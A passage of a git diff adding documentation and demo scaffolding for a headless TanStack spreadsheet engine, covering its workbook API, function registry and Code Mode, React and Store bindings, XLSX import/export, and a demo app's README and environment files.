+[React guide](./react-guide.md)).
+
+## Documented deviation: multi-region selection
+
+A disjoint multi-region selection collapses to its **bounding-box union** before
+a verb acts on it (fill/copy/merge operate on one rectangle). This is a
+deliberate simplification, not disjoint-region semantics — recorded here and in
+the code rather than left silent.
diff --git a/docs/spreadsheet/quick-start.md b/docs/spreadsheet/quick-start.md
new file mode 100644
index 0000000000..bf6efc766a
--- /dev/null
+++ b/docs/spreadsheet/quick-start.md
@@ -0,0 +1,56 @@
+---
+title: Quick Start
+---
+
+The `Workbook` is the whole model — no UI, framework, or Table dependency (its
+only dependency is `@tanstack/store`). This walkthrough builds one and reads it
+back, all headless.
+
+## 1. Create a workbook
+
+```ts
+import { createWorkbook } from '@tanstack/spreadsheet-core'
+
+const wb = createWorkbook()
+```
+
+## 2. Add a sheet
+
+```ts
+wb.addSheet('s1')
+```
+
+## 3. Set input and commit
+
+Mutation and commit are **separate**. `setInput` returns patches; it does not
+apply them. Everything funnels through `applyPatches`, which runs the full
+synchronous recalc pipeline and returns once the graph is settled.
+
+```ts
+wb.applyPatches(wb.setInput({ sheet: 's1', row: 1, col: 0 }, '10'))
+wb.applyPatches(wb.setInput({ sheet: 's1', row: 2, col: 0 }, '20'))
+wb.applyPatches(wb.setInput({ sheet: 's1', row: 0, col: 0 }, '=SUM(A2:A5)'))
+```
+
+## 4. Read a computed cell
+
+```ts
+wb.getCell({ sheet: 's1', row: 0, col: 0 })?.value // 30
+```
+
+## 5. Evaluate a formula ad-hoc
+
+`runFormula` evaluates against the workbook's current settled values without
+writing a cell or creating dependency edges. A leading `=` is optional; errors
+are returned as values.
+
+```ts
+wb.runFormula('AVERAGE(A2:A5)') // 15
+wb.runFormula('1/0') // { kind: 'error', code: '#DIV/0!' }
+```
+
+## Next steps
+
+See the [Workbook API](./workbook-api.md) for the full surface: the function
+registry, asynchronous cell equations, display formats, workbook-defined
+functions, virtual sheets, undo/redo, and region subscriptions.
diff --git a/docs/spreadsheet/react-guide.md b/docs/spreadsheet/react-guide.md
new file mode 100644
index 0000000000..41388125e2
--- /dev/null
+++ b/docs/spreadsheet/react-guide.md
@@ -0,0 +1,62 @@
+---
+title: React Bindings
+---
+
+`@tanstack/react-spreadsheet` is a thin `useSyncExternalStore` shim over the
+workbook's reactive surface. Pick the hook that matches the job.
+
+## Which hook for which job
+
+| Hook | Job | Re-renders on |
+| ------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------ |
+| `useSpreadsheet(wb)` | **Workbook level** — the umbrella front door (mirrors `useReactTable`). Returns `{ workbook, revision, getCellValue }`. | any commit |
+| `useSpreadsheetTable(wb, config)` | **The grid hook** — owns a `createSpreadsheetTable` for a sheet window and drives the grid. From `@tanstack/react-spreadsheet/table`. | table state (selection/focus) + any commit |
+| `useCell(wb, ref)` | **Granular, whole-cell** — input/formula text, value, format-aware `display`, `pending`. What a custom cell renders from. | that cell |
+| `useCellValue(wb, ref)` | Granular, raw value only (may be a `PendingValue`). The primitive beneath `useCell`. | that cell |
+| `useSheetValues(wb, { sheet, rect })` | Granular, a dense 2D value grid for a window. | any cell in the region |
+| `useRevision(wb)` | The raw revision counter. | any commit |
+
+## The grid hook
+
+Lives behind the `@tanstack/react-spreadsheet/table` entry so the root hooks
+stay pure workbook bindings — a consumer that only reads cells never pulls in
+`@tanstack/spreadsheet-table`.
+
+```tsx
+import { useSpreadsheetTable } from '@tanstack/react-spreadsheet/table'
+
+function Grid({ workbook }) {
+ const table = useSpreadsheetTable(workbook, {
+ sheet: 's1',
+ rows: { from: 0, to: 200 },
+ cols: { from: 0, to: 26 },
+ })
+ // call the table verbs directly — commitFocusedCell, fillDown, copySelection, …
+ return
{/* render table.getRowModel() */}
+}
+```
+
+The hook owns the table across renders, re-renders on the table's own state and
+on workbook commits (so an external edit shows up without a verb), and tears the
+table's workbook subscription down (`table.destroy()`) on unmount or rebuild.
+
+## The whole-cell hook
+
+`useCell` is what a custom-UI builder renders from — it hands back the whole cell,
+not just the value, with a **format-aware display string** (never a raw
+`PendingValue` object or `[object Object]`):
+
+```tsx
+function Cell({ workbook, sheet, row, col }) {
+ const { input, kind, value, display, pending } = useCell(workbook, {
+ sheet,
+ row,
+ col,
+ })
+ return
{display}
+}
+```
+
+`display` honours the cell's number format (`workbook.getFormat`) via core's
+`formatValue`: a percent cell shows `50.00%`, a pending async cell shows `…`, an
+error shows its code.
diff --git a/docs/spreadsheet/registry-and-packs.md b/docs/spreadsheet/registry-and-packs.md
new file mode 100644
index 0000000000..5706ff64b6
--- /dev/null
+++ b/docs/spreadsheet/registry-and-packs.md
@@ -0,0 +1,140 @@
+---
+title: Functions, Packs & the Registry
+---
+
+Every function — builtin, pack, async, Code Mode — lives in **one** workbook
+registry. A pack is a registration convenience; there is no second manifest, no
+sidecar, and no separate lifecycle. This page is how you register a function,
+bundle a pack, wire an async route, and read the manifest view.
+
+The demo's `/functions` route renders the catalog straight off the workbook: one
+descriptor per function drives validation, help text, the `origin` chip, and the
+row you see. Bare names are reserved for builtins; packs are namespaced (e.g.
+`ACME.TAX`) and cannot shadow them.
+
+## One registry, one manifest
+
+Each registered function carries an **origin** tag:
+
+| Origin | How it got there |
+| ----------- | ----------------------------------------------------------- |
+| `builtin` | A core built-in (bare names, reserved). |
+| `pack` | Registered as part of a `FunctionPack` (see `pack`). |
+| `code-mode` | Authored on the fly (Code Mode); carries a source record. |
+| `host` | Registered directly by the host — the trusted escape hatch. |
+
+```ts
+wb.functionCatalog() // every function: origin, signature, version, callSites
+wb.functionManifest() // registered packs: { name, version }
+wb.missingFunctions() // names a formula references but nothing registered
+```
+
+`functionCatalog()` entries carry a **live `callSites` count** — how many
+formulas reference each function right now — so unused functions are surfaceable
+for cleanup. Mutating a function with zero live call sites skips the recalc
+fan-out.
+
+## Registering functions
+
+```ts
+// A pack — the painless way to register related functions under one namespace.
+wb.registerPack({
+ name: 'ACME',
+ version: '1.2.3',
+ functions: [{ name: 'ACME.TAX', minArgs: 1, evaluate: (ctx) => /* … */ }],
+})
+
+// The host-trusted direct path (origin `host`). Bypasses the Code Mode example
+// gate — call it for functions you already trust.
+wb.upsertFunction(def)
+
+// Remove a function everywhere — registry and export. Call sites re-evaluate.
+wb.removeFunction('ACME.TAX')
+```
+
+Custom names must be namespaced (`PACK.NAME`); bare names are reserved for
+builtins. A collision throws `FunctionCollisionError`.
+
+### Pack-missing degrade
+
+A formula that references an **unregistered** function (e.g. a pack that was not
+loaded) evaluates to `#NAME?`, and the function name appears in
+`wb.missingFunctions()` — the degrade is visible, not silent. An XLSX import
+seeds the last cached value for such a cell where one exists, so the number
+survives even when the pack is absent.
+
+## Async functions
+
+An async function (`kind: 'async'`) is resolved by a host **execution port**;
+the evaluator never awaits. Registering one with **no port wired throws at
+registration** — there is no silent, never-resolving `pending`.
+
+```ts
+const wb = createWorkbook({
+ asyncPort,
+ packs: [decisionPack(model)],
+})
+await wb.settle() // resolve once nothing is in flight
+```
+
+**Port contract:** `execute(name, requests)` returns one result per request,
+each carrying a per-request value — an error _value_ for a failed request, never
+a thrown exception. A rejected/thrown batch fails _every_ request in it to
+`#VALUE!`, so a port wanting per-request fidelity must resolve, not throw.
+
+**Range arguments** reach non-builtins too: a range argument is materialized to
+a 2D grid and folded into the call key by content, so an async function recalcs
+when a cell in its range argument changes. `JEV.CHOICE(value, A1:A5)` (a range
+of labels) and `JEV.CHOICE(value, "a,b,c")` (the CSV form) both work.
+
+### Budget, resume, and refresh
+
+The async budget is an **opt-in spend cap** (`asyncBudget`), unlimited by
+default — the engine never silently seizes. When the cap is hit, requests are
+_budget-paused_ (visible as `asyncStats().paused`), and `resumeAsync()` raises
+the cap and re-flushes them.
+
+```ts
+wb.asyncStats() // { cached, inFlight, dispatched, batches, paused, budget }
+wb.resumeAsync() // lift the cap, re-dispatch paused requests
+wb.refreshAsync() // invalidate all cached results → refire on next recalc
+wb.refreshAsync({ functionName: 'REST.GET' }) // or one function
+wb.refreshAsync({ key }) // or one call key
+```
+
+Success results are cached permanently (a precedent change produces a _new_ key,
+so stale results are never read). **Error** results are negative-cached with a
+cooldown (`asyncNegativeTtl`, default 30 s): past the cooldown the entry expires
+and the next recalc refires it — errors are not cached forever, and are never
+left to a silent third option.
+
+## Code Mode functions
+
+A Code Mode function is authored, tested against supplied examples, and
+registered only after a human approves — the function body never registers
+anything itself.
+
+```ts
+import {
+ stageFunction,
+ approveAndRegister,
+} from '@tanstack/spreadsheet-codemode'
+
+const staged = stageFunction(spec, [{ args: [100, 1120, 0], expected: 11.2 }])
+staged.passed // false unless ≥1 supplied example passes (empty examples cannot pass)
+approveAndRegister(wb, staged) // throws unless staged.passed
+```
+
+- **Execution is a host-injected port** (`CodeExecutor`) — plug in a real
+ isolate (QuickJS, a worker). The default `unsafeInProcessExecutor` runs the
+ body in-process via `new Function` with I/O globals shadowed; it is a dev/test
+ fallback and **not a sandbox** — a production host injects a real isolate.
+- A runtime **throw keeps its message** on the resulting error value's `detail`
+ (not a bare `#VALUE!`). The version identity is a collision-resistant 64-bit
+ hash, load-bearing for cache invalidation.
+- A Code Mode function can declare a **range argument** (`acceptsRange`) and
+ receives it as a 2D grid, like a builtin.
+
+Code Mode functions persist as part of the one registry — `removeFunction`
+drops them from the export, so a removed function stays removed through
+export/rehydrate.
diff --git a/docs/spreadsheet/store-guide.md b/docs/spreadsheet/store-guide.md
new file mode 100644
index 0000000000..539126c8cc
--- /dev/null
+++ b/docs/spreadsheet/store-guide.md
@@ -0,0 +1,68 @@
+---
+title: TanStack Store Interop
+---
+
+`@tanstack/spreadsheet-store` bridges a workbook and `@tanstack/store` in both
+directions. Nothing here is a lookalike: facades are real store atoms, and
+virtual sheets are first-class.
+
+## Spreadsheet → Store: facades
+
+A cell or region is exposed as a **real** `@tanstack/store` computed atom
+(`ReadonlyAtom`), so it composes with other atoms and the framework store hooks.
+Read views are genuinely read-only — the type tells the truth.
+
+```ts
+import {
+ cellValueFacade,
+ rangeFacade,
+ writeCells,
+} from '@tanstack/spreadsheet-store'
+
+const a1 = cellValueFacade(wb, { sheet: 's1', row: 0, col: 0 })
+a1.get() // the current value
+const sub = a1.subscribe(() => render()) // recomputes on commit
+sub.unsubscribe()
+
+rangeFacade(wb, 's1', { r0: 0, c0: 0, r1: 9, c1: 3 }).get() // dense 2D grid
+
+writeCells(wb, [{ ref, value: 42 }]) // the write path — one applyPatches
+```
+
+The facades track the workbook's `revision` atom, so they recompute on every
+commit (coarser than `subscribeRegion`, which stays the per-region perf
+primitive — these are the interop layer). Writes go through `writeCells`.
+
+## Store → Spreadsheet: virtual sheets
+
+Map a `Store` into a read-only virtual sheet a formula can reference by name.
+
+```ts
+import { storeSheet } from '@tanstack/spreadsheet-store'
+
+const detach = storeSheet(wb, 'FX', fxStore, (s, row, col) =>
+ row === 0 ? (col === 0 ? s.usd : s.eur) : null,
+)
+// =FX!A1 + FX!B1 recomputes when fxStore changes
+detach() // unsubscribe + remove the virtual sheet
+```
+
+A store update that re-enters recalc (a cross-boundary cycle) is rejected by the
+core; virtual sheets list alongside real sheets (`workbook.listSheets()`) and
+read through `getCell` (see the [Workbook API](./workbook-api.md)).
+
+## Tier-1 staging
+
+Write endpoint data into a dedicated **source sheet** as inputs (never a
+formula — an injection guard escapes incoming `=`), with provenance and the
+staged extent recorded on the workbook. Re-staging a smaller block blanks the
+previous extent's tail, so no ghost rows linger.
+
+```ts
+import { stageData, provenanceOf } from '@tanstack/spreadsheet-store'
+
+stageData(wb, 'src', rows, {
+ provenance: { endpoint: '/api/x', fetchedAt: now },
+})
+provenanceOf(wb, 'src') // { endpoint, fetchedAt }
+```
diff --git a/docs/spreadsheet/workbook-api.md b/docs/spreadsheet/workbook-api.md
new file mode 100644
index 0000000000..ca5de97229
--- /dev/null
+++ b/docs/spreadsheet/workbook-api.md
@@ -0,0 +1,353 @@
+---
+title: Workbook API
+---
+
+# `Workbook` API — `@tanstack/spreadsheet-core`
+
+The `Workbook` is the whole model. It has **no UI, framework, or Table
+dependency** (its only dependency is `@tanstack/store`), so it runs in Node, a
+worker, or a serverless function and can be used as a standalone data engine.
+
+```ts
+import { createWorkbook } from '@tanstack/spreadsheet-core'
+
+const wb = createWorkbook()
+wb.addSheet('s1')
+wb.applyPatches(wb.setInput({ sheet: 's1', row: 0, col: 0 }, '=SUM(A2:A5)'))
+wb.getCell({ sheet: 's1', row: 0, col: 0 })?.value // computed value
+wb.runFormula('AVERAGE(A2:A5)') // ad-hoc, no cell written
+```
+
+---
+
+## Construction
+
+```ts
+createWorkbook(opts?: WorkbookOptions) // documented entry point (delegates to `new Workbook`)
+
+interface WorkbookOptions {
+ functions?: FunctionRegistry // default: builtins() — the 37 built-in functions
+ packs?: FunctionPack[] // custom function packs registered into the registry
+ functionPorts?: FunctionPorts // host ports surfaced to every function via FnContext.ports
+ asyncPort?: AsyncPort // executes async requests (§3); without it, async cells stay pending
+ asyncBudget?: number // max async requests dispatched before pausing. default: unlimited
+ asyncCache?: AsyncCacheSeed[] // seed the async result cache on load (persistence)
+ clock?: Clock // default: system clock (NOW/TODAY). Inject for determinism.
+ rng?: Rng // default: Math.random (RAND). Seed in tests.
+ locale?: Locale // reserved (arg/decimal separators)
+ visibility?: VisibilityPort // optional; consulted by SUBTOTAL/AGGREGATE (101–111)
+}
+```
+
+## Reactive atoms (from `@tanstack/store`)
+
+```ts
+wb.atoms.revision: Atom // bumps once per settled commit
+wb.atoms.sheets: Atom
+
+const sub = wb.atoms.revision.subscribe(() => { /* the graph just settled */ })
+sub.unsubscribe()
+```
+
+## Sheets
+
+```ts
+wb.addSheet(id: SheetId): Sheet
+wb.removeSheet(id: SheetId): boolean
+wb.getSheet(id: SheetId): ReadonlySheet | undefined // read-only view of that sheet's cells
+```
+
+## Reading
+
+```ts
+wb.getCell(ref: Ref): Cell | undefined
+// Cell = { input: string; kind: 'literal' | 'formula'; ast?: Node; value: CellValue }
+```
+
+### Ad-hoc evaluation (headless / outside any cell)
+
+```ts
+wb.runFormula(input: string, opts?: { sheet?: SheetId }): CellValue
+```
+
+Evaluates a formula against the workbook's current **settled** values. It does
+**not** write a cell and does **not** create dependency edges. A leading `=` is
+optional; unqualified references resolve against `opts.sheet` (default: first
+sheet); cross-sheet refs (`Sheet2!A1`) always work.
+
+```ts
+wb.runFormula('SUM(E1:E6)')
+wb.runFormula('VLOOKUP("Gadgets", A1:F4, 5, FALSE)', { sheet: 's1' })
+wb.runFormula('1/0') // → { kind: 'error', code: '#DIV/0!' } (errors are values)
+```
+
+For advanced use, `wb.environment` exposes the evaluator `Environment` so you can
+reuse a pre-parsed AST across many evaluations:
+
+```ts
+import { parse, evaluate } from '@tanstack/spreadsheet-core'
+const ast = parse('SUM(A1:A100)', { defaultSheet: 's1' })
+evaluate(ast, wb.environment) // re-run against fresh values, no re-parse
+```
+
+## Mutation & commit
+
+Mutation and commit are **separate**. `setInput` returns patches; it does not
+apply them. Everything funnels through `applyPatches`, so undo/redo,
+collaborative merges, and agent edits all get recalc for free.
+
+```ts
+wb.setInput(ref: Ref, input: string): Patch[] // '' clears the cell; no-ops → []
+wb.applyPatches(patches: Patch[]): CommitResult
+```
+
+`applyPatches` runs the **full synchronous pipeline** — apply inputs → update the
+dependency graph → gather the transitive dirty set → topo-sort (detecting
+cycles) → evaluate → notify regions. When it returns, the graph is **settled**:
+
+```ts
+interface CommitResult {
+ applied: Patch[] // patches actually applied (no-ops dropped)
+ recalculated: Ref[] // cells whose computed value may have changed (sheet-qualified)
+ cycles: Ref[][] // circular groups detected this commit (→ #CIRCULAR)
+}
+```
+
+`recalculated` and `cycles` are full workbook-global `Ref`s — a single commit
+can recalc cells across several sheets, so a bare `CellKey` (sheet-local) would
+flatten them together.
+
+### Convenience surface (sugar)
+
+One-call writes compose `setInput` + `applyPatches`. They accept an A1 string
+(`'B2'`, `'Sheet1!B2'`, `"'My Sheet'!B2"`) or a `Ref`; patches remain the power
+surface for batching and undo.
+
+```ts
+wb.set(ref: Ref | string, input: string): CommitResult
+wb.setMany(edits: { ref: Ref | string; input: string }[]): CommitResult
+```
+
+The data-movement helpers are workbook **methods** (not free functions):
+
+```ts
+wb.serializeRange(sheet, rect): string // TSV; throws on an unknown sheet
+wb.copyRange(sheet, rect): Clipboard // captures origin for re-anchoring
+wb.buildPastePatches(target, clip, into?): Patch[]
+wb.buildFillPatches(sheet, source, target): Patch[]
+```
+
+### The error convention
+
+An **invalid operation** throws with a real message, so a caller (or an agent
+reading tool-call feedback) gets insight: writing to a read-only virtual sheet,
+serializing an unknown sheet, defining a colliding/cyclic name. An **empty or
+missing cell is a value state**, not an error — `getCell` returns `undefined`.
+Error _values_ in cells keep their messages reachable (`ErrorValue.detail`), and
+distinct failure kinds get distinct codes (a parse failure is `#ERR!`, not a
+`#N/A` costume).
+
+### Dependency graph queries
+
+The real dependency graph is queryable — nothing outside core needs to re-parse
+formulas to walk precedents/dependents:
+
+```ts
+wb.precedentsOf(ref): { cells: Ref[]; ranges: { sheet; rect }[] }
+wb.dependentsOf(ref): Ref[] // formulas reading ref, via scalar or range edges
+```
+
+### Merges
+
+Merge state is **workbook-owned** — one source of truth that every view and the
+exporter read:
+
+```ts
+wb.mergeCells(sheet, rect): CommitResult // replaces overlapping merges
+wb.unmergeCells(sheet, rect): CommitResult // clears intersecting merges
+wb.getMerges(sheet): Rect[] // a copy, never the live array
+wb.getMergeAt(sheet, row, col): Rect | undefined
+```
+
+### Undo / redo
+
+Patches carry input strings only (never computed values), so inversion is exact:
+
+```ts
+import { invertPatches } from '@tanstack/spreadsheet-core'
+const cmd = wb.setInput(ref, '=A1+1')
+wb.applyPatches(cmd) // do
+wb.applyPatches(invertPatches(cmd)) // undo
+wb.applyPatches(cmd) // redo
+```
+
+## Region subscriptions (the virtualization primitive)
+
+Pull model: the callback fires once per commit when a change lands inside the
+rectangle; re-read via `getCell`. A grid observes only its ~2k visible cells.
+
+```ts
+const off = wb.subscribeRegion(sheet: SheetId, rect: Rect, cb: () => void): () => void
+// rect = { r0, c0, r1, c1 } (inclusive, 0-based)
+off() // unsubscribe
+```
+
+---
+
+## Function registry
+
+The workbook carries a `FunctionRegistry` (the builtins by default). Packs are
+namespaced sets of functions; registering a pack whose name collides with an
+existing function throws a `FunctionCollisionError`.
+
+```ts
+wb.registerPack(pack: FunctionPack): this // register a pack (chainable)
+wb.functionCatalog(): FunctionCatalogEntry[] // machine-readable catalog (builtins + packs)
+wb.functionManifest(): PackManifestEntry[] // { name, version } per pack (portability)
+wb.validateFormula(input: string, opts?: { sheet?: SheetId }): FormulaValidation
+```
+
+`validateFormula` parses and checks a formula against the registry **without**
+committing it — reporting parse errors, unknown functions, and bad argument
+counts. It powers formula-bar linting and agent checks; a leading `=` is
+optional.
+
+```ts
+interface FormulaValidation {
+ ok: boolean
+ diagnostics: FunctionDiagnostic[]
+ parseError?: string // set when the formula could not be parsed (diagnostics empty)
+}
+```
+
+## Workbook-defined functions
+
+Register or replace a single custom function — e.g. a Code Mode function. A
+version bump re-evaluates every call site, so replacing a definition
+invalidates the cells that use it correctly.
+
+```ts
+wb.upsertFunction(def: FunctionDef): CommitResult // register/replace; recalcs call sites
+wb.removeFunction(name: string): CommitResult // remove; call sites re-evaluate to #NAME?
+```
+
+## Async cell equations
+
+An async function returns a `pending` value until its result arrives, and
+pending propagates through dependents (`isBlocking`). Supply an `asyncPort` at
+construction to execute requests.
+
+```ts
+wb.settle(): Promise // resolve once no async requests remain in flight
+wb.asyncStats(): SchedulerStats // cache size, in-flight, dispatched, batches, paused
+wb.exportAsyncCache(): AsyncCacheSeed[] // persist the result cache (value + timestamp per call key)
+```
+
+```ts
+// async formula → cell is pending → await settle() → resolved value
+const ref = { sheet: 's1', row: 0, col: 0 }
+wb.applyPatches(wb.setInput(ref, '=REST.GET("https://example.com/n")'))
+wb.getCell(ref)?.value // → { kind: 'pending' }
+await wb.settle()
+wb.getCell(ref)?.value // → the resolved value
+```
+
+## Display formats
+
+A display number-format code attached to a cell. Purely descriptive — the
+engine ignores it; adapters render with it via `formatValue`. It is independent
+of the cell value, so it survives input edits.
+
+```ts
+wb.setFormat(ref: Ref, code: string | undefined): void // pass undefined to clear
+wb.getFormat(ref: Ref): string | undefined
+```
+
+## Virtual sheets
+
+Register a read-only external sheet (e.g. backed by a Store). Formulas
+reference it by name (`ExtSheet!A1`) and the workbook treats its cells as
+precedents. The id must not collide with a real sheet.
+
+```ts
+wb.addVirtualSheet(id: SheetId, provider: SheetProvider): void
+wb.removeVirtualSheet(id: SheetId): boolean
+wb.hasVirtualSheet(id: SheetId): boolean
+wb.recalcVirtual(sheet: SheetId, cells?: { row: number; col: number }[]): CommitResult
+```
+
+A virtual sheet is a **first-class citizen**, not evaluator-only: it lists
+alongside real sheets (flagged) and reads through `getCell`.
+
+```ts
+wb.listSheets(): { id: SheetId; kind: 'real' | 'virtual'; readOnly: boolean }[]
+wb.getCell({ sheet: 'ExtSheet', row, col }) // synthesized read-only cell view
+```
+
+Writing to a virtual sheet (`setInput`/`set`) **throws** — it is read-only.
+`recalcVirtual` signals that virtual cells changed and recalcs their dependents
+(omit `cells` to invalidate every formula that reads the sheet); it **throws**
+if called re-entrantly from within a recalc — a cross-boundary cycle.
+
+## Sheet provenance & Tier-1 staging
+
+Where a sheet's data came from is workbook state, not a module sidecar:
+
+```ts
+wb.setSheetProvenance(sheet, { endpoint, fetchedAt, ... } | undefined): void
+wb.sheetProvenance(sheet): SheetProvenance | undefined
+wb.getStagedExtent(sheet): Rect | undefined
+wb.setStagedExtent(sheet, rect | undefined): void
+```
+
+`@tanstack/spreadsheet-store`'s `stageData` uses these: it records provenance
+and the staged extent on the workbook, and blanks the previous extent's tail
+when a re-stage writes a smaller block (no ghost rows).
+
+---
+
+## Core types
+
+```ts
+type SheetId = string
+interface Ref {
+ sheet: SheetId
+ row: number
+ col: number
+} // 0-based
+interface Rect {
+ r0: number
+ c0: number
+ r1: number
+ c1: number
+} // inclusive
+type CellKey = number // packed row*16384+col (sheet-local); see addr.ts
+type CellValue = number | string | boolean | ErrorValue | PendingValue | null
+interface ErrorValue {
+ kind: 'error'
+ code: ErrorCode
+}
+interface PendingValue {
+ kind: 'pending'
+} // a not-yet-arrived async value; propagates through dependents
+// ErrorCode: '#DIV/0!' | '#VALUE!' | '#REF!' | '#NAME?' | '#N/A' | '#NUM!' | '#NULL!' | '#CIRCULAR'
+```
+
+> **Exhaustiveness:** `PendingValue` has been a first-class `CellValue` since
+> A `switch` over `CellValue` must handle the `{ kind: 'pending' }` case
+> (use `isPending` / `isBlocking`).
+
+## Related exports (all framework-free)
+
+- **Parser:** `parse`, `tokenize`, `refsOf`, `serialize`, `ParseError`
+- **Evaluator:** `evaluate`, `err`, `isErr`, `pending`, `isPending`,
+ `isBlocking`, `toNum`, `toStr`, `toBool`, `looseCompare`
+- **Addressing:** `pack`, `rowOf`, `colOf`, `colToLetter`, `letterToCol`,
+ `parseA1`, `formatA1`, `translate`, `makeRect`, `rectContains`, …
+- **Fill / clipboard:** `translateFormula`, `buildFillPatches`, `copyRange`,
+ `serializeRange`, `parseTsv`, `buildPastePatches`
+- **Ports / functions:** `FunctionRegistry`, `FunctionCollisionError`,
+ `builtins`, `validateCalls`, `systemClock`, `mathRng`
+- **Async:** `Scheduler`
+- **Formats:** `formatValue`, `isDateFormat`
+- **Graph:** `DepGraph`, `nodeId`, `decodeNode`
diff --git a/docs/spreadsheet/xlsx-fidelity.md b/docs/spreadsheet/xlsx-fidelity.md
new file mode 100644
index 0000000000..781525a8ae
--- /dev/null
+++ b/docs/spreadsheet/xlsx-fidelity.md
@@ -0,0 +1,79 @@
+---
+title: XLSX Fidelity
+---
+
+`@tanstack/spreadsheet-xlsx` imports and exports `.xlsx`. Import stops losing
+things silently: what travels travels, what drops is reported, and a degraded
+cell is addressable so a UI can highlight it.
+
+```ts
+import { importXlsx, exportXlsx } from '@tanstack/spreadsheet-xlsx'
+
+const { workbook, sheetNames, issues, summary } = importXlsx(bytes)
+const out = exportXlsx(workbook)
+```
+
+## What travels
+
+- **Values and formulas** — supported formulas import live; shared formulas are
+ re-anchored per cell.
+- **Number formats** — per-cell number-format codes round-trip.
+- **Merges** — `` ranges import into the workbook's merge state and
+ export back (they are core state now, not an adapter copy).
+- **Defined names** — workbook- and sheet-scoped (`localSheetId`) names import as
+ workbook defined names and export back; a formula referencing a name stays
+ live after import.
+
+A workbook with merges and defined names round-trips through export → import
+intact.
+
+## The `ImportResult`
+
+```ts
+interface ImportResult {
+ workbook: Workbook
+ sheetNames: string[]
+ issues: Issue[] // cell-by-cell + workbook-level problems
+ summary: { cells: number; issues: number; byKind: Record }
+}
+```
+
+Each `Issue` (the shared core type, also used by the agent `verify` surface)
+carries a machine-readable `kind`, a human `message`, the affected cell (`ref`,
+A1-addressable) where cell-scoped, and the `original` content where relevant —
+enough to paint the degraded cells red and say why.
+
+| Issue kind | Raised when |
+| ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
+| `unsupported-formula` | A formula uses a function the engine doesn't have — its **last cached value** is kept, and the original formula text is on `original`. |
+| `unknown-number-format` | A cell references a number-format id we don't recognise. |
+| `dropped-feature` | A present-but-unsupported feature (see below), including array formulas (kept as their cached value) and un-importable defined names. |
+
+## The cached-value fallback
+
+An unsupported formula is not dropped — the cell keeps the **cached value** the
+file carried, so the number a customer saw in Excel survives, and the loss is
+reported as an `unsupported-formula` issue rather than hidden. Export writes
+``, so Excel recalculates on open: a cell exported
+without a cached value (e.g. a still-pending async cell) shows a real number,
+never a bare formula displayed as `0`.
+
+## What drops
+
+The drop list is a single shared source (`DROPPED_FEATURES`), referenced by both
+import and export so they cannot disagree. Import **detects and reports** the
+cell-addressable ones it finds; the rest are documented:
+
+- fonts, fills, and borders; column widths and row heights
+- data validations; conditional formatting
+- array formulas (imported as their cached value)
+- charts and drawings; pivot tables; table (list) ranges
+
+## Other fidelity fixes
+
+- **1904 date system** — import honours the `date1904` workbook flag: a
+ date-formatted serial is shifted by 1462 days into the engine's 1900 system,
+ so a 1904-file's dates land on the right day (no silent ~4-year drift).
+- **Atomic import** — sheet names are validated up front; a duplicate or
+ colliding name throws **before any sheet is added**, so a bad file never
+ leaves a half-imported workbook.
diff --git a/examples/react/spreadsheet-demo/.env.example b/examples/react/spreadsheet-demo/.env.example
new file mode 100644
index 0000000000..311432f9e4
--- /dev/null
+++ b/examples/react/spreadsheet-demo/.env.example
@@ -0,0 +1,4 @@
+# Only the /agent route needs this. The key is read server-side by the
+# /api/agent route (via @tanstack/ai-anthropic) and never reaches the browser.
+# Copy this file to .env.local and fill in your key.
+ANTHROPIC_API_KEY=
diff --git a/examples/react/spreadsheet-demo/.gitignore b/examples/react/spreadsheet-demo/.gitignore
new file mode 100644
index 0000000000..8d112a69b1
--- /dev/null
+++ b/examples/react/spreadsheet-demo/.gitignore
@@ -0,0 +1,10 @@
+# TanStack Start build output
+dist/
+.output/
+.nitro/
+.tanstack/
+
+# Local environment files (never commit real keys; see .env.example)
+.env
+.env.local
+.env.*.local
diff --git a/examples/react/spreadsheet-demo/README.md b/examples/react/spreadsheet-demo/README.md
new file mode 100644
index 0000000000..1d7f796118
--- /dev/null
+++ b/examples/react/spreadsheet-demo/README.md
@@ -0,0 +1,45 @@
+# Spreadsheet demo
+
+A [TanStack Start](https://tanstack.com/start) app that exercises the headless
+spreadsheet engine across one route per capability, all bound to live workbooks.
+
+## Routes
+
+| Route | Demonstrates |
+| --------------------- | ---------------------------------------------------------------------------------------- |
+| `/` | Landing page and index of the routes below. |
+| `/simple-spreadsheet` | The live grid on the TanStack Table v9 adapter (selection, fill, formulas, xlsx I/O). |
+| `/state-manager` | A plain form whose inputs/outputs are workbook cells — the spreadsheet as app state. |
+| `/functions` | The function registry and pluggable function packs (toggling a pack rebuilds the sheet). |
+| `/async` | Asynchronous cell equations: a `pending` value resolved through the scheduler. |
+| `/agent` | A live TanStack AI Code Mode agent that builds a sheet and authors a Code Mode function. |
+| `/budget` | The "Fluid Budget" capstone — guardrails-as-formulas, async classification, runway. |
+
+## Running
+
+From the repository root (build the workspace packages first if you have not):
+
+```bash
+pnpm install
+pnpm --filter tanstack-react-table-example-spreadsheet-demo dev
+```
+
+## `ANTHROPIC_API_KEY` (the `/agent` route)
+
+Only `/agent` calls a live LLM. It needs an `ANTHROPIC_API_KEY`:
+
+```bash
+cp .env.example .env.local # in this directory
+# then edit .env.local and set ANTHROPIC_API_KEY=...
+```
+
+The key is read **server-side** by the `/api/agent` route (via
+`@tanstack/ai-anthropic`) and never reaches the browser. The browser runs the
+agent loop and executes the generated orchestration TypeScript locally in a
+QuickJS WASM isolate. Every other route works without any key.
+
+> [!WARNING]
+> `/api/agent` is an **unauthenticated** proxy to the server's Anthropic key with
+> no rate limiting — it's built for local development. Do not deploy this example
+> publicly as-is; anyone who can reach the route can spend your key. Add
+> authentication and rate limiting before hosting it anywhere.
diff --git a/examples/react/spreadsheet-demo/package.json b/examples/react/spreadsheet-demo/package.json
new file mode 100644
index 0000000000..eff8edb7d3
--- /dev/null
+++ b/examples/react/spreadsheet-demo/package.json
@@ -0,0 +1,50 @@
+{
+ "name": "tanstack-react-table-example-spreadsheet-demo",
+ "private": true,
+ "version": "0.0.0",
+ "type": "module",
+ "scripts": {
+ "dev": "vite dev",
+ "build": "vite build",
+ "preview": "vite preview",
+ "lint": "eslint ./src",
+ "test:types": "tsc",
+ "test:lib": "vitest run"
+ },
+ "dependencies": {
+ "@tanstack/ai": "^1.1.0",
+ "@tanstack/ai-anthropic": "^1.1.0",
+ "@tanstack/ai-client": "^1.1.0",
+ "@tanstack/ai-code-mode": "^1.1.0",
